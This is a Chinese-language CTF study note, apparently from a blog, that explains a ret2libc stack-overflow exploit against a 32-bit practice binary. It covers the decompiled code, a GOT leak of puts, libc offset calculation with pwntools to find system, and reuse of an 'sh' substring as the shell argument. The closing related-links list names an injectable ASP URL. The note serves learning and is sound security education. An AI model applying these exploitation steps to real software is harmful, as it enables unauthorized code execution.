栈溢出-ret2libc地址泄露笔记
作为一名初学者,在碰到很多攻击思路的时候会感觉很妙,比如gadget的构造,这题的sh参数截断。
1、首先分析程序架构和保护措施。

2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:
- ret2text:不具备,没有shell可执行代码
- ret2shellcode:不具备写入全局区域的入口


- 没有bin/bash可用,也没有system函数可以调用
- 没有完整gadget构造链
3、执行程序,通过IDA分析main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char **v3; // ST04_4
int v4; // ST08_4
char src; // [esp+12h] [ebp-10Eh]
char buf; // [esp+112h] [ebp-Eh]
int v8; // [esp+11Ch] [ebp-4h] puts("###############################");
puts("Do you know return to library ?");
puts("###############################");
puts("What do you want to see in memory?");
printf("Give me an address (in dec) :");
fflush(stdout);
read(0, &buf, 0xAu);
v8 = strtol(&buf, v3, v4);
See_something(v8);
printf("Leave some message for me :");
fflush(stdout);
read(0, &src, 0x100u);
Print_message(&src);
puts("Thanks you ~");
return 0;
}
程序首先输出一段文字,然后提醒输入内存地址来查看该地址的内容,通过See_something函数实现。
See_something函数如下:
int __cdecl See_something(_DWORD *a1)
{
return printf("The content of the address : %p\n", *a1);
}
然后读取字符串写入&src,然后将&src指针参数传递给Print_message函数
read(0, &src, 0x100u);
Print_message(&src);
查看Print_message(&src)代码。通过strcpy,将src中的内容拷贝到dest的内存空间中
int __cdecl Print_message(char *src)
{
char dest; // [esp+10h] [ebp-38h] strcpy(&dest, src);
return printf("Your message is : %s", &dest);
}
Print_message存在栈溢出点,由于src的可写入空间是0x100,而dest的内存空间只有0x38,通过strcpy可以覆盖ret地址。
4、完整攻击思路:
(1)通过第一次程序读取任意内存位置内容,来读取程序got表中的puts函数实际地址。在程序第一次调用puts函数时,函数指针指向plt,所以通过执行完一次puts后,再读取got表中的实际地址;
(2)由于puts函数地址随机性,通过提供的libc文件计算,puts函数和system函数的偏移量,这两步最终就是为了得到libc中实际的system函数地址;
(3)通过strcpy栈溢出覆盖ret address,让函数ret指向上面已经拿到的system函数;
(4)system函数的参数“sh”并不能在程序中找到,但是可以使用包含sh的任意字符串截断形成参数(这一步太妙了);
5、先简单的画一个堆栈图


当开始执行Print_message(&src)函数的时候,看到esp+0x12的内存地址写入了eax,然后再最终写入当前的esp。也就是将src的内存地址压栈。
0x804864b <main+206> lea eax, [esp + 0x12]
0x804864f <main+210> mov dword ptr [esp], eax
然后执行call Print_message,自动将下一行地址8048657(也就是ret address)push到堆栈,然后进入Print_message开始push ebp,并提升栈底,创建新的堆栈空间。
所以最终在Print_message函数中堆栈图是这样

将程序停留到strcpy执行完后的下一行,不要退出Print_message,观察堆栈情况。

所以要达到能覆盖ret的长度是0xffffd7ec-0xffffd7b0
ret需要指向的system函数地址,通过libc偏移计算,借助pwntools,得到system函数在libc中的实际地址。也可以直接用ida加载libc.so计算。
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")
//先得到puts的got地址
puts_gots_address = elf.got["puts"]
//读取puts地址中实际的puts地址
r.sendline(str(puts_gots_address))
s = r.recv()
puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)
//通过偏移计算得到system在libc中的真实地址
offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]
system_libc_address = puts_libc_address + offset_libc_address
最后需要找到system函数需要的sh参数
如下图,这里使用fflush字符串的截断,是0x0804829E位置的sh。

然后就可以构造payload,得到shell。

栈溢出-ret2libc地址泄露笔记的更多相关文章
- mac地址学习笔记
MAC(Media Access Control或者Medium Access Control)地址, 意译为媒体访问控制,或称为物理地址.硬件地址,用来定义网络设备的位置. 在OSI模型中,第三层网 ...
- aspcms逻辑错误导致后台地址泄露
访问即可跳转后台地址: URL:http://www.xxx.org.cn/plug/oem/AspCms_OEMFun.asp 注入:plug/comment/commentList.asp?id= ...
- ONVIFclient搜索设备获取rtsp地址开发笔记(精华篇)
概要: 眼下ONVIF协议家族设备已占领数字监控行业半壁江山以上.亲,作为开发人员的你还在犹豫是否了解下吗?本文介绍了ONVIFclient从设备搜索,鉴权,能力获取,媒体信息获取 ...
- RK3288以太网的mac地址调试笔记【学习笔记】【原创】
平台信息:内核:linux3.1.0系统:android/android6.0平台:RK3288 作者:庄泽彬(欢迎转载,请注明作者) 邮箱:2760715357@qq.com 说明:提供以太网mac ...
- ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)
原文 http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要: 目前ONVIF协议家族设备已占据数字监控行业半壁江山以上,亲, ...
- 【视频开发】ONVIF客户端搜索设备获取rtsp地址开发笔记(精华篇)
转载地址:http://blog.csdn.net/gubenpeiyuan/article/details/25618177 概要: 目前ONVIF协议家族设备已占据数字监控行业 ...
- IPV4地址学习笔记
IP地址由网络号和主机号组成.IPV4由32位正整数来表示. A类IP:8位网络号+24主机号,网络号以0开头,网络号范围0~127 B类IP:16位网络号+16主机号,网络号以10开头,网络号范围1 ...
- 《Linux就该这么学》培训笔记_ch14_使用DHCP动态管理主机地址
<Linux就该这么学>培训笔记_ch14_使用DHCP动态管理主机地址 文章最后会post上书本的笔记照片. 文章主要内容: 动态主机地址管理协议 部署dhcpd服务程序 自动管理IP地 ...
- IronPython .NET Integration官方文档翻译笔记
http://ironpython.net/documentation/dotnet/这是原文地址 以下笔记仅记录阅读过程中我认为有必要记录的内容,大多数都是依赖翻译软件的机翻,配合个人对代码的理解写 ...
- 《Python 数据科学实践指南》读书笔记
文章提纲 全书总评 C01.Python 介绍 Python 版本 Python 解释器 Python 之禅 C02.Python 基础知识 基础知识 流程控制: 函数及异常 函数: 异常 字符串 获 ...
随机推荐
- [转帖]深入浅出分析LSM树(日志结构合并树)
https://zhuanlan.zhihu.com/p/415799237 目录 收起 零.前言 一.LSM树数据结构定义 二.插入操作 三.删除操作 四.修改操作 五.查询操作 六.合并操作 ...
- [转帖]如何在一个Docker中同时运行多个程序进程?
https://cloud.tencent.com/developer/article/1683445 我们都知道Docker容器的哲学是一个Docker容器只运行一个进程,但是有时候我们就是需要在一 ...
- 【转帖】使用 LuaRocks 安装 Apache APISIX 依赖项时,为什么会导致超时、安装缓慢或安装失败?
使用 LuaRocks 安装 Apache APISIX 依赖项时,为什么会导致超时.安装缓慢或安装失败?# http://apisix.incubator.apache.org/zh/docs/ap ...
- [转帖]History of Web Browser Engines from 1990 until today
https://eylenburg.github.io/browser_engines.htm Many tried, few remain... Last updated: January 2023 ...
- [转帖]Traefik中诡异的502和504问题
https://zhuanlan.zhihu.com/p/156138704 我们都知道在 Kubernetes 集群中通常会使用 Ingress 方案来统一代理集群内部的流量,而常用的 Ingres ...
- Find -mtime 的图解
- 让你轻松看懂defer和async
defer和async产生的原因 HTML 网页中,浏览器通过<script>标签加载 JavaScript 脚本. <!-- 页面内嵌的脚本 --> <script t ...
- 【解决一个小问题】proto文件中的enum,去掉长长的重复的enum名字
在proto中定义的enum,通常类型名字都会带上enum的前缀,很丑陋,如何去掉呢? enum DataSourceType{ NotUse = 0; MySQL = 1; ElasticSearc ...
- vim 从嫌弃到依赖(19)——替换
之前讨论了关于在vim中使用正则表达式的相关知识能方便的进行搜索,现在在之前的基础之上继续来讨论如何进行替换操作. substitute 简介 substitute 允许我们先查找一段文本并用新的文本 ...
- 特定领域知识图谱融合方案:文本匹配算法之预训练Simbert、ERNIE-Gram单塔模型等诸多模型【三】
特定领域知识图谱融合方案:文本匹配算法之预训练模型SimBert.ERNIE-Gram 文本匹配任务在自然语言处理中是非常重要的基础任务之一,一般研究两段文本之间的关系.有很多应用场景:如信息检索.问 ...